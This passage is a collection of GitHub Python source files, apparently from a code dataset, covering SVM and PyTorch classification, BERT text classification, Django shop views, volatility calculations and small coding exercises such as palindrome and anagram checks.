hog features for a specific dataset\n -> lengths across axis=1 varies\n y_te: a list of setIDs from the \"testing\" section of the mixed dataset\n l_idx_te: locations of the sample in the original roidb\n -> axis=0 is datasets\n -> axis=1 is the sample location \n\n idx: what use the \"idx\" from across the y_te?\n\n **error case**: if the # of training examples loaded in y_test > available # of testing\n -> shouldn't happend since the test/train split comes originally from a training set (at least) x2 the testing size\n \"\"\"\n\n print(len(y_te))\n print(len(l_idx_te))\n print(len(l_feat_te))\n for i in range(8):\n print(len(l_idx_te[i]))\n print(len(l_feat_te[i]))\n\n # replace the X_test for each match of y_test\n yIndicies = {}\n dsIndicies = [ 0 for _ in range(len(l_idx_te)) ]\n for setID in y_te:\n if setID not in yIndicies.keys():\n yIndicies[setID] = list(np.where(y_test == setID)[0]) # find where the setID's are\n print(\"{}: {}\".format(setID,len(yIndicies[setID])))\n if len(yIndicies[setID]) == 0: continue\n dsIdx = dsIndicies[setID] # index for l_feat_te\n testIndex = yIndicies[setID][0] # index for x_test\n X_test[testIndex] = l_feat_te[setID][dsIdx] # replace sample content\n X_idx[testIndex] = {\"idx\":int(l_idx_te[setID][dsIdx]),\"split\":\"test\"} # replace the lookup\n dsIndicies[setID] += 1 # incriment\n yIndicies[setID].remove(testIndex) # \"incriment\" index by removing element\n print(dsIndicies)\n \ndef roidbToSVMData(roidbTr,roidbTe,train_size,test_size,loaderSettings):\n ds_feat_tr,l_idx_tr,y_tr = roidbToFeatures(roidbTr,pyloader=loaderSettings['pyloader'],\n calcHog=loaderSettings['calcHog'],\n roidbSizes=loaderSettings['roidbSizes'])\n \n \"\"\"\n X_train, X_test, y_train, y_test, X_idx = split_data(train_size, test_size, \\\n l_feat_tr,l_idx_tr, y_tr,\\\n loaderSettings['dsHasTest'])\n \"\"\"\n ds_feat_te,l_idx_te,y_te = roidbToFeatures(roidbTe,pyloader=loaderSettings['pyloader'],\n calcHog=loaderSettings['calcHog'],\n roidbSizes=loaderSettings[\"roidbSizes\"])\n X_train, X_test, y_train, y_test, testing_idx = split_tr_te_data(ds_feat_tr,l_idx_tr,y_tr,\n ds_feat_te,l_idx_te,y_te,\n train_size, test_size,\n loaderSettings['dsHasTest'])\n\n print(\"-=-=- training dataset counts -=-=-\")\n for idx,feat in enumerate(ds_feat_tr):\n print(\"{}: {}, {}\".format(cfg.DATASET_NAMES_ORDERED[idx],len(feat),np.sum(y_train==idx)))\n print(\"-=-=- testing dataset counts -=-=-\")\n for idx,feat in enumerate(ds_feat_te):\n print(\"{}: {}, {}\".format(cfg.DATASET_NAMES_ORDERED[idx],len(feat),np.sum(y_test==idx)))\n\n # this is a work-around for the loading of a \"testing\" mixed dataset... overwrites the original split from the training data\n\n #mangleTestingData(l_feat_te,l_idx_te,y_te,X_test,y_test,testing_idx)\n X_train, X_test = scale_data(X_train, X_test)\n print(X_train.shape)\n print(y_train.shape)\n if X_train.shape[0] != y_train.shape[0]:\n raise ValueError(\"number of examples for x and y are different\")\n return X_train, X_test, y_train, y_test, testing_idx\n \ndef prepareMixedDataset(setID,repeat,size,addHOG=True):\n mixedData = load_mixture_set(setID,repeat,size)\n roidbTrDict,annoCountTr,roidbTrDict1k = mixedData[\"train\"][0],mixedData[\"train\"][1],mixedData[\"train\"][2]\n roidbTeDict,annoCountTe,roidbTeDict1k = mixedData[\"test\"][0],mixedData[\"test\"][1],mixedData['test'][2]\n printRoidbDictImageNamesToTextFile(roidbTrDict,\"train_{}\".format(setID))\n printRoidbDictImageNamesToTextFile(roidbTeDict,\"test_{}\".format(setID))\n # does the dataset have a \"testing\" split?\n \n dsHasTest = [ (i is not None) and (j is not None) for i,j in zip(annoCountTr[size],\n annoCountTe[size]) ]\n # cropped hog image input\n if addHOG:\n appendHOGtoRoidbDict(roidbTrDict,size)\n appendHOGtoRoidbDict(roidbTeDict,size)\n appendHOGtoRoidbDict(roidbTrDict1k,1000)\n appendHOGtoRoidbDict(roidbTeDict1k,1000)\n\n\n print(\"annoCountTr: {}\".format(annoCountTr[size]))\n print(\"annoCountTe: {}\".format(annoCountTe[size]))\n # print_report(roidbTr,annoCountTr,roidbTe,annoCountTe,setID,repeat,size)\n annoSizes = {}\n annoSizes['train'] = annoCountTr\n annoSizes['test'] = annoCountTe\n\n print(\"-=\"*50)\n\n return roidbTrDict,roidbTeDict,roidbTrDict1k,roidbTeDict1k,dsHasTest,annoSizes\n\ndef loadSvmModel(modelParams,dataType,setID,repeat,size,X_train,y_train):\n modelFn = modelParams['modelFn']\n if modelFn is not None:\n model = pickle.load(open(modelFn,\"rb\"))\n else:\n model = train_SVM(X_train,y_train)\n fn = iconicImagesFileFormat().format(\"model{}_svm_{}_{}_{}.pkl\".format(dataType,setID,repeat,size))\n pickle.dump(model,open(fn,\"wb\"))\n print(\" saved model to {}\".format(fn))\n \n print(\"\\n\\n-=- model loaded -=-\\n\\n\")\n return model\n\ndef loadDlModel(modelParams,dataType,setID,repeat,size,X_train,y_train):\n pass\n\ndef genConfCropped(modelParams,roidbTr,roidbTe,ntdGameInfo):\n loaderSettings = {}\n loaderSettings['pyloader'] = roidbSampleHOG\n loaderSettings['calcHog'] = False\n loaderSettings['roidbSizes'] = None\n loaderSettings['dsHasTest'] = ntdGameInfo['dsHasTest'] # todo: kind of gross here\n return genConf(modelParams,\"Cropped\",roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n\ndef genConfRaw(modelParams,roidbTr,roidbTe,ntdGameInfo):\n loaderSettings = {}\n loaderSettings['pyloader'] = roidbSampleImageHOG\n loaderSettings['calcHog'] = False\n loaderSettings['roidbSizes'] = np.arange(len(roidbTr)) + 1\n loaderSettings['dsHasTest'] = ntdGameInfo['dsHasTest'] # todo: kind of gross here\n return genConf(modelParams,\"Raw\",roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n\ndef genConfSVM(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo):\n X_train, X_test, y_train, y_test, X_idx = roidbToSVMData(roidbTr,roidbTe,\n ntdGameInfo['trainSize'],\n ntdGameInfo['testSize'],\n loaderSettings)\n model = loadSvmModel(modelParams,dataType,ntdGameInfo['setID'],ntdGameInfo['repeat'],\n ntdGameInfo['size'],X_train,y_train)\n print(X_test.shape)\n print(y_test.shape)\n print(\"accuracy on test data {}\".format(model.score(X_test,y_test)))\n print(make_confusion_matrix(model, X_train, y_train, cfg.clsToSet))\n print(\"-\"*50)\n return make_confusion_matrix(model, X_test, y_test, cfg.clsToSet),model\n\ndef genConfDl(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo):\n X_train, X_test, y_train, y_test, X_idx = roidbToDlData(roidbTr,roidbTe,\n ntdGameInfo['trainSize'],\n ntdGameInfo['testSize'],\n loaderSettings)\n model = loadDlModel(modelParams,dataType,ntdGameInfo['setID'],ntdGameInfo['repeat'],\n ntdGameInfo['size'],X_train,y_train)\n print(\"accuracy on test data {}\".format(model.score(X_test,y_test)))\n return make_confusion_matrix(model, X_test, y_test, cfg.clsToSet),model\n\ndef genConf(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo):\n modelType = modelParams['modelType']\n if modelType == \"svm\":\n return genConfSVM(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n elif modelType == \"dl\":\n return genConfDl(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n else:\n print(\"Uknown model type of {}\".format(modelType))\n return None\n\ndef saveNtdSummaryStats(cmRaw_l,cmCropped_l,cmDiff_l):\n\n import scipy.stats as ss\n\n cmRaw_l = np.array(cmRaw_l)\n cmCropped_l = np.array(cmCropped_l)\n cmDiff_l = np.array(cmDiff_l)\n\n cmRaw_mean = np.mean(cmRaw_l,axis=0)\n cmCropped_mean = np.mean(cmCropped_l,axis=0)\n cmDiff_mean = np.mean(cmDiff_l,axis=0)\n\n cmRaw_std = np.std(cmRaw_l,axis=0)\n cmCropped_std = np.std(cmCropped_l,axis=0)\n cmDiff_std = np.std(cmDiff_l,axis=0)\n\n \n paired_tTest_num = cmRaw_mean - cmCropped_mean\n paired_tTest_denom = np.sqrt( (cmRaw_std**2 + cmCropped_std**2) / len(cmRaw_l) )\n # we know it's two tailed, but computing as one is more efficient\n t_values = np.abs(paired_tTest_num) / paired_tTest_denom\n print(t_values)\n p_values = ss.t.sf(t_values,len(cmRaw_l)-1)\n\n def saveMat(fn,mat):\n fid = open(iconicImagesFileFormat().format(fn),\"wb\")\n pickle.dump(mat,fid)\n fid.close()\n \n saveId_l = [\"rawMean\",\"rawStd\",\"croppedMean\",\"croppedStd\",\"diffMean\",\"diffStd\",\"pValues\"]\n plotTitle_l = [\"Raw Images\",\"Raw Std\", \"Cropped Images\", \"Cropped Std\",\"Raw - Cropped\",\"Raw - Cropped (Std)\", \"P-Values\"]\n confMatStat = [cmRaw_mean,cmRaw_std,cmCropped_mean,cmCropped_std,cmDiff_mean,cmDiff_std,p_values]\n for saveId,plotTitle,matStat in zip(saveId_l,plotTitle_l,confMatStat):\n appendStr = \"{}_{}\".format(saveId,cfg.uuid)\n pklFn = \"ntd_stats_{}.pkl\".format(appendStr)\n saveMat(pklFn,matStat)\n pathToPlot = osp.join(cfg.PATH_TO_NTD_OUTPUT, 'ntd_stats_{}.png'.format(appendStr))\n plot_confusion_matrix(np.copy(matStat), cfg.clsToSet,\n pathToPlot, title=plotTitle,\n cmap = plt.cm.bwr_r,vmin=-100,vmax=100)\n print(p_values)\n\n \n \n\n \n\n\n\n\n\n\n\n","repo_name":"PurdueCAM2Project/metaDatasetGenerator","sub_path":"lib/ntd/ntd_utils.py","file_name":"ntd_utils.py","file_ext":"py","file_size_in_byte":14990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26150090311","text":"import torchvision as torchvision\nfrom torch import nn\nfrom torch.nn import Sequential, Conv2d, MaxPool2d, Flatten, Linear, CrossEntropyLoss\nfrom torch.utils.data import DataLoader\n\ndataset_transform = torchvision.transforms.Compose([torchvision.transforms.ToTensor()])\ndataset = torchvision.datasets.CIFAR10(root=\"./dataset\", train=False, transform=dataset_transform, download=True)\ndata_loader = DataLoader(dataset, batch_size=1, shuffle=True, num_workers=0, drop_last=False)\n\n\nclass nn5(nn.Module):\n def __init__(self) -> None:\n super(nn5, self).__init__()\n self.model = Sequential(\n Conv2d(3, 32, 5, padding=2),\n MaxPool2d(2),\n Conv2d(32, 32, 5, padding=2),\n MaxPool2d(2),\n Conv2d(32, 64, 5, padding=2),\n MaxPool2d(2),\n Flatten(),\n Linear(1024, 64),\n Linear(64, 10)\n )\n\n def forward(self, x):\n x = self.model(x)\n return x\n\n\nnn5 = nn5()\nloss_cross = CrossEntropyLoss()\nfor data in data_loader:\n imgs, targets = data\n outputs = nn5(imgs)\n print(outputs)\n print(targets)\n result = loss_cross(outputs, targets)\n # 计算梯度grad，为后面的优化做好准备\n result.backward()\n print(result)\n","repo_name":"yhl111/Pytorch","sub_path":"17_loss_network.py","file_name":"17_loss_network.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8957404371","text":"# String Palindrome Checker\n\n# Write a function that returns True if the given string argument is a palindrome. \n# Assume that the argument will only contain alphabetical characters.\n\n# Example → 'tacocat' is a palindrome. 'tacodog' is not a palindrome\n\n# Analyzing Hello! indexing\n# | H | e | l | l | o | ! | H | e | l | l | o | ! |\n# -6 -5 -4 -3 -2 -1 0 1 2 3 4 5 \n\n# Solution 1: Explaining [::-1] slicing\n # Let a = 'Hello!'\n # Indexing grabs single characters ... a[2] --> \"l\"\n # Slicing grabs a pattern of characters ... a[1:5] --> 'ello'\n # reverse slice of a[::-1] --> !olleh\n\ndef is_palindrome1(text):\n ''' checks if our given argument is a palindrome\n \n argument\n text: an alphabetical based string\n\n return\n a boolean value, True if the text is a palindrome, False otherwise\n '''\n\n return text == text[::-1]\n# end of is_palindrome1()\n\n# Solution 2: Determine the midway point then check to see if the other end is the same\ndef is_palindrome2(text):\n ''' checks if our given argument is a palindrome\n \n argument\n text: an alphabetical based string\n\n return\n a boolean value, True if the text is a palindrome, False otherwise\n '''\n if not text:\n # text is an empty string\n return True\n elif len(text) < 4:\n # for strings with lengths of 1,2,3 ... as long as the first and the last characters are the same\n # it is a palindrome\n return text[0] == text[-1]\n else:\n # our text is now guaranteed to be length of 4 or greater\n midpoint = len(text) // 2\n # if the length is odd, we get to ignore the middle most character\n # 01234 ... length of 5\n # HELLO\n\n # 0123 ... length of 4\n # HELL\n for i in range(0, midpoint):\n left = text[i]\n right = text[-1*i -1]\n\n # i = 0, -1 ; i=1, -2\n if left != right:\n return False # return in a loop works like a break, where it will auto terminate the loop\\\n # end of for loop\n return True \n# end of is_palindrome2()\n\nprint(is_palindrome1('tacocat'), is_palindrome2('tacocat'))\nprint(is_palindrome1('tacodog'), is_palindrome2('tacodog'))","repo_name":"mrparkonline/ics4u_2023F","sub_path":"video_solution/vid29.py","file_name":"vid29.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13270466986","text":"svc_scores = []\nkernels = ['linear', 'poly', 'rbf', 'sigmoid']\nfor i in range(len(kernels)):\n svc_classifier = SVC(kernel = kernels[i])\n svc_classifier.fit(X_train, y_train)\n svc_scores.append(svc_classifier.score(X_test, y_test))\n \ncolors = rainbow(np.linspace(0, 1, len(kernels)))\nplt.bar(kernels, svc_scores, color = colors)\nfor i in range(len(kernels)):\n plt.text(i, svc_scores[i], svc_scores[i])\nplt.xlabel('Kernels')\nplt.ylabel('Scores')\nplt.title('scores in different kernels')\n","repo_name":"r17zzy/heart-disease-prediction","sub_path":"SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8378572865","text":"\"\"\"\nInterview question:\nadd digit to a number to any place to make a largest number possible. \n\nFor example:\n\ninput: \n 0\n -999\n 286\n 388244\n 8883\n\noutput:\n 50\n -5999\n 5286\n 5388244\n 88853\n\"\"\"\n\n# import sys\n\n# sys.stdin = open(\"input\", \"r\")\n# sys.stdout = open(\"output\", \"w\")\n\n\n# get the position to add the digit in digits list\ndef get_pos(digits, digit, pos, multiplier):\n tmp = pos\n while tmp < len(digits):\n if digits[tmp] * multiplier < digit * multiplier:\n pos = tmp + 1\n tmp += 1\n\n return pos\n\n\n# insert the digit to the correct position\ndef insert_digit(digits, digit, multiplier):\n i, pos, flag = 0, 0, True\n\n while i < len(digits):\n if flag and digits[i] * multiplier < digit * multiplier:\n flag = False\n pos = get_pos(digits, digit, i + 1, multiplier)\n\n i += 1\n\n # print(pos)\n digits.insert(pos, digit)\n\n\n# convert the number to a list\n# we could also do the same by converting num to string\n# this is just for iterating through each digit\ndef number_to_digits(num, digits=None):\n while num:\n d, num, = (\n num % 10,\n num // 10,\n )\n\n digits += [d]\n\n\ndef get_max(num, digit=5):\n if not num:\n return digit * 10\n\n multiplier = -1 if num < 0 else 1\n\n # convert the negative number to positive\n num *= multiplier\n\n # number to digits array\n digits = []\n number_to_digits(num, digits)\n\n # insert the digit at the correct index\n insert_digit(digits, digit, multiplier)\n\n # make answer\n i, ans = 0, 0\n for d in digits:\n ans += d * (10 ** i)\n i += 1\n\n return ans * multiplier\n\n\ndef main():\n # t = int(input())\n # while t > 0:\n # t -= 1\n num = int(input())\n print(get_max(num))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"manerao-pritam/python-DS","sub_path":"Daily coding problems/add_digit_to_make_largest_number.py","file_name":"add_digit_to_make_largest_number.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72805389801","text":"# 模型预测\nimport numpy as np\nimport pandas as pd\nfrom bert4keras.backend import keras, K\nfrom bert4keras.models import build_transformer_model\nfrom bert4keras.snippets import sequence_padding, DataGenerator\nfrom bert4keras.tokenizers import Tokenizer\nfrom keras.layers import *\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2,3,4' # 设置GPU编号\n\n# Bert base\nconfig_path = 'bert/chinese_L-12_H-768_A-12/bert_config.json'\ncheckpoint_path = 'bert/chinese_L-12_H-768_A-12/bert_model.ckpt'\ndict_path = 'bert/chinese_L-12_H-768_A-12/vocab.txt'\n\nn = 1 # cross-validation\nseed = 2020\nnum_classes = 10\n\nmaxlen = 512\nmax_segment = 2\nbatch_size = 4\ngrad_accum_steps = 64 # 梯度积累，即积累一定梯度后再进行运算\ndrop = 0.2\nlr = 2e-5\nepochs = 100\n\n\ndef load_data(df):\n \"\"\" 加载数据 \"\"\"\n D = list()\n for _, row in df.iterrows():\n text = row['content']\n label = row['label_id']\n D.append((text, int(label)))\n # D = [(text1, label1), (text2, label2), ...]\n return D\n\n\n# 建立分词器\ntokenizer = Tokenizer(dict_path, do_lower_case=True)\n\n\ndef sentence_split(words):\n \"\"\" 句子截断 \"\"\"\n document_len = len(words) # 文本总长度\n # [0, 510, 1020, 1530, 2040, 2550, 3060, 3570, 4080, 4590]\n # 为文档 按照maxlen 划分后的 索引 位置（没有最后部分的位置，即不足maxlen的那段）\n index = list(range(0, document_len, maxlen-2))\n index.append(document_len) # 加上最后的位置\n\n segments = []\n for i in range(len(index) - 1):\n # 这是标准长度 maxlen-2的文本，因为一个段落太长，所以需要这样截断才能训练\n segment = words[index[i]: index[i + 1]]\n assert len(segment) > 0\n # 转化为id, 并加上 首尾的cls和sep\n segment = tokenizer.tokens_to_ids(['[CLS]'] + segment + ['[SEP]'])\n segments.append(segment)\n\n assert len(segments) > 0\n # 对划分的段进行判断，设定不超过两个，因为Bert输入就是不超过两个\n # 如果超过两个段\n if len(segments) > max_segment:\n segment_ = int(max_segment / 2)\n # 只取开头一段和结尾一段，一共两段，满足max_segment要求\n return segments[:segment_] + segments[-segment_:]\n else:\n return segments\n\n\nclass data_generator(DataGenerator):\n \"\"\" 数据生成器 \"\"\"\n def __init__(self, data, batch_size=32, buffer_size=None, random=False):\n super().__init__(data, batch_size, buffer_size)\n self.random = random\n\n def __iter__(self, random=False):\n batch_token_ids, batch_segment_ids, batch_labels = [], [], []\n for is_end, (text, label) in self.sample(random):\n token_ids = sentence_split(text) # 句子截断\n token_ids = sequence_padding(token_ids, length=maxlen)\n segment_ids = np.zeros_like(token_ids)\n\n batch_token_ids.append(token_ids)\n batch_segment_ids.append(segment_ids)\n batch_labels.append([label])\n\n if len(batch_token_ids) == self.batch_size or is_end:\n batch_token_ids = sequence_padding(\n batch_token_ids, length=max_segment\n )\n batch_segment_ids = sequence_padding(\n batch_segment_ids, length=max_segment\n )\n batch_labels = sequence_padding(batch_labels)\n\n yield [batch_token_ids, batch_segment_ids], batch_labels\n batch_token_ids, batch_segment_ids, batch_labels = [], [], []\n\n def forfit(self):\n while True:\n for d in self.__iter__(self.random):\n yield d\n\n\nclass Attention(Layer):\n \"\"\" 注意力层 \"\"\"\n def __init__(self, hidden_size, **kwargs):\n self.hidden_size = hidden_size\n super().__init__(**kwargs)\n\n def build(self, input_shape):\n initializer = keras.initializers.truncated_normal(mean=0.0, stddev=0.05)\n # 为该层创建一个可训练的权重\n self.weight = self.add_weight(\n name='weight',\n shape=(self.hidden_size, self.hidden_size),\n initializer=initializer,\n trainable=True\n )\n self.bias = self.add_weight(\n name='bias',\n shape=(self.hidden_size,),\n initializer='zero',\n trainable=True\n )\n self.query = self.add_weight(\n name='query',\n shape=(self.hidden_size, 1),\n initializer=initializer,\n trainable=True\n )\n\n super().build(input_shape) # 一定要在最后调用它\n\n def call(self, x):\n x, mask = x\n mask = K.squeeze(mask, axis=2)\n # linear\n key = K.bias_add(K.dot(x, self.weight), self.bias)\n\n # compute attention\n outputs = K.squeeze(K.dot(key, self.query), axis=2)\n outputs -= 1e32 * (1 - mask)\n\n attn_scores = K.softmax(outputs)\n attn_scores *= mask\n attn_scores = K.reshape(\n attn_scores, shape=(-1, 1, attn_scores.shape[-1])\n )\n\n outputs = K.squeeze(K.batch_dot(attn_scores, key), axis=1)\n\n return outputs\n\n def compute_output_shape(self, input_shape):\n return input_shape[0][0], self.hidden_size\n\n\ndef build_model():\n \"\"\" 模型构建 \"\"\"\n token_ids = Input(shape=(max_segment, maxlen), dtype='int32')\n segment_ids = Input(shape=(max_segment, maxlen), dtype='int32')\n\n input_mask = Masking(mask_value=0)(token_ids)\n input_mask = Lambda(\n lambda x: K.cast(K.any(x, axis=2, keepdims=True), 'float32')\n )(input_mask)\n\n token_ids1 = Lambda(\n lambda x: K.reshape(x, shape=(-1, maxlen))\n )(token_ids)\n segment_ids1 = Lambda(\n lambda x: K.reshape(x, shape=(-1, maxlen))\n )(segment_ids)\n\n # 加载预训练模型\n bert = build_transformer_model(\n config_path=config_path,\n checkpoint_path=checkpoint_path,\n return_keras_model=False,\n )\n output = bert.model([token_ids1, segment_ids1])\n output = Lambda(lambda x: x[:, 0])(output)\n output = Lambda(\n lambda x: K.reshape(x, shape=(-1, max_segment, output.shape[-1]))\n )(output)\n output = Multiply()([output, input_mask])\n output = Dropout(drop)(output)\n\n output = Attention(output.shape[-1].value)([output, input_mask])\n output = Dropout(drop)(output)\n\n output = Dense(\n units=num_classes,\n activation='softmax',\n kernel_initializer=bert.initializer\n )(output)\n\n model = keras.models.Model([token_ids, segment_ids], output)\n\n return model\n\n\ndef do_predict(df_test):\n test_data = load_data(df_test)\n test_generator = data_generator(test_data, batch_size)\n\n model = build_model()\n res = np.zeros((len(test_data), num_classes))\n model.load_weights(f'weights-1.h5') # 加载权重\n # 执行预测\n pred = model.predict_generator(\n test_generator.forfit(), steps=len(test_generator)\n )\n res += pred # 结果求算术平均\n \"\"\"\n for i in range(1, n+1):\n model.load_weights(f'weights-{i}.h5') # 加载权重\n # 执行预测\n pred = model.predict_generator(\n test_generator.forfit(), steps=len(test_generator)\n )\n res += pred / n # 结果求算术平均\n \"\"\"\n return res\n\n\nif __name__ == '__main__':\n df_test = pd.read_csv('dataset/test_data.csv', encoding='utf-8')\n df_test['label'] = 0\n df_test['content'] = df_test['content'].apply(lambda x: x.strip().split())\n\n res = do_predict(df_test)\n df_test['label'] = res.argmax(axis=1)\n df_test.to_csv('dataset/submit_example1.csv', index=False, columns=['id', 'label'])\n","repo_name":"xhjcxxl/ccf2020_classification","sub_path":"keras_model/predict_classification.py","file_name":"predict_classification.py","file_ext":"py","file_size_in_byte":7692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3588613675","text":"from django.db.models import Q\nfrom django.shortcuts import render\nfrom django.views.generic import DetailView, ListView\nfrom django.http import JsonResponse\nfrom prices.models import Product, Shop, Category\n\n\nclass HomeListView(ListView):\n model = Product\n template_name = 'hello.html'\n context_object_name = 'products'\n\n def get_queryset(self):\n return Product.objects.order_by('?')[:10]\n\n\ndef barcode(request):\n return render(request, 'barcode.html')\n\n\ndef get_categories(request):\n shop_id = request.GET.get('shop_id')\n data = []\n categories = Category.objects.filter(shop_id=shop_id).order_by('category_name')\n for category in categories:\n data.append({'id': category.pk, 'categoryName': category.category_name})\n return JsonResponse(data, safe=False)\n\n\ndef get_brands(request):\n category_id = request.GET.get('category_id')\n data = []\n brands = Product.objects.filter(category_id=category_id).distinct('brand_id')\n # print(brands)\n for brand in brands:\n print(brand.brand_id.brand_name)\n data.append({'id': brand.brand_id.pk, 'brandName': brand.brand_id.brand_name})\n print(data)\n return JsonResponse(data, safe=False)\n\n\nclass SearchListView(ListView):\n model = Product\n template_name = 'search.html'\n context_object_name = 'products'\n paginate_by = 20\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['shops'] = Shop.objects.all()\n return context\n\n def get_queryset(self):\n ean = self.request.GET.get('ean', None)\n if ean:\n return Product.objects.filter(ean__contains=[ean])\n q = self.request.GET.get('q', '')\n shop_id = self.request.GET.get('shop', '')\n category_id = self.request.GET.get('category', '')\n brand_id = self.request.GET.get('brand', '')\n\n if shop_id and category_id and brand_id:\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q),\n shop_id=shop_id, category_id=category_id, brand_id=brand_id)\n elif shop_id and category_id:\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q),\n shop_id=shop_id, category_id=category_id)\n elif shop_id:\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q),\n shop_id=shop_id, )\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q))\n\n\nclass ProductDetailView(DetailView):\n model = Product\n template_name = 'product-detail.html'\n context_object_name = 'product'\n","repo_name":"Ryszard-S/Price-tracker","sub_path":"prices/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6621793039","text":"class Solution:\n def findAnagrams(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: List[int]\n \"\"\"\n\n # 先把 p 统计一下字母频\n from collections import defaultdict\n wordcount = defaultdict(int)\n\n for alpha in p:\n wordcount[alpha] += 1\n\n # 滑动窗口的大小\n plen = len(p)\n slen = len(s)\n l = 0\n r = 0\n same = plen\n res = []\n while r < slen:\n if wordcount[s[r]] > 0:\n # 表示 s[r+1] 在 p 里面\n same -= 1\n wordcount[s[r]] -= 1\n r += 1\n if same == 0:\n res.append(l)\n if r - l == plen:\n if wordcount[s[l]] >= 0:\n same += 1\n # 左边要出\n wordcount[s[l]] += 1\n l += 1\n return res\n\n\nif __name__ == '__main__':\n s = \"cbaebabacd\"\n p = \"abc\"\n solution = Solution()\n result = solution.findAnagrams(s, p)\n print(result)\n","repo_name":"achillis2/pycode","sub_path":"LeetCode-Solution-Index/0438.py","file_name":"0438.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17634513164","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path(\"\", views.IndexView.as_view(), name=\"index\"),\n path(\"product/<slug:slug>\", views.ProductDetailView.as_view(),\n name=\"product_detail\"),\n path(\"cart\", views.CartListView.as_view(), name=\"cart\"),\n path(\"add-to-cart/<slug:slug>\", views.AddToCartView.as_view(), name=\"addtocart\"),\n path(\"remove-from-cart/<slug:slug>\",\n views.RemoveFromCartView.as_view(), name=\"removefromcart\"),\n path(\"checkout\", views.CheckoutView.as_view(), name=\"checkout\"),\n path(\"profile\", views.ProfileView.as_view(), name=\"profile\"),\n path(\"orders\", views.OrderView.as_view(), name=\"orders\")\n]\n","repo_name":"rachitbhatt007/Django-ecommerce","sub_path":"ecommerce/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"40527900807","text":"# code_S2L2_MAEMAFinal\r\n\"\"\"\r\ncode_S2L2_MAEMAFinal\r\n\r\nCreated on Tue Feb 6 20:52:45 2018\r\n\r\n@author: Steve Xia\r\n\r\n\r\nIn this code, we perform the following tasks\r\n 1. Use Moving Average Exponentil moving average model to calculate Variance\r\n 2. Compare different ways of calcuating volatilities\r\n\"\"\"\r\nimport numpy as np \r\nfrom scipy import stats\r\nimport scipy.io as spio\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd \r\n#--------------------------------------------------------\r\n\r\n# roll your own functions \r\n\r\ndef ma(values, window):\r\n wgts = np.repeat(1.0, window+1)/(window+1)\r\n #smas = np.convolve(values, wgts, mode='full')[:len(values)]\r\n smas = np.zeros(len(values))\r\n for i in range(window, len(values)):\r\n currentdata = values[i-window:i+1]\r\n smas[i] = np.dot(currentdata,wgts)\r\n del currentdata\r\n \r\n #smas[:window] = smas[window]\r\n smas[:window] = np.nan\r\n return smas\r\n\r\n# lamda here is the same as in MATLAB function \r\ndef ewa(values, lamda, window):\r\n wgts = np.power(lamda, np.arange(window-1))\r\n wgts = wgts/wgts.sum()\r\n ewas = np.convolve(values, wgts, mode='full')[:len(values)]\r\n #ewas[:window] = ewas[window]\r\n ewas[:window] = np.nan\r\n return ewas\r\n\r\n \r\n#----------------------------------------------------\r\nif __name__ == \"__main__\":\r\n # Read in data from Excel\r\n df = pd.read_excel('/Users/zhoujiawang/Desktop/Brandeis Life/Computer Simulation/Lecture7/Lecture7CodeNData/Input_MAEMA.xlsx', index_col=0, sheet_name='Returns')\r\n \r\n n_period = 250 \r\n figure_count = 1\r\n ret1 = df['ret'] # US val weighted return_returnss with dividends\r\n #demean returns\r\n ret1 = ret1 - ret1.mean()\r\n \r\n n_returns = len(ret1)\r\n \r\n #%%\r\n df_bs = df.sample(n_returns).set_index(df.index) # reset index to index from df \r\n \r\n # randomly sample the given return column to create a return vector of the same size as the original dataset\r\n ret1bs = ret1[np.random.choice(n_returns, n_returns)] # re-sampled returns\r\n #\r\n # calc square of return \r\n df['ret_square'] = np.square(df['ret'])\r\n \r\n # Calculate standard vol. we use regularly using the standard std function on historical back data\r\n #Std_Standard = np.zeros((n_returns,1))\r\n Std_Standard = np.full((n_returns,1), np.nan)\r\n for t in range(n_period-1, n_returns):\r\n a=df['ret'][t-n_period+1 : t+1]\r\n Std_Standard[t] = np.std(a,ddof=1)\r\n del a\r\n df['std_standard'] = Std_Standard \r\n\r\n # Or the same results can be calculated using the rolling method\r\n df['std_standard1'] = df['ret'].rolling(n_period).std()\r\n \r\n \r\n # Calculate simple moving average variance, using original data\r\n Variance_ma = 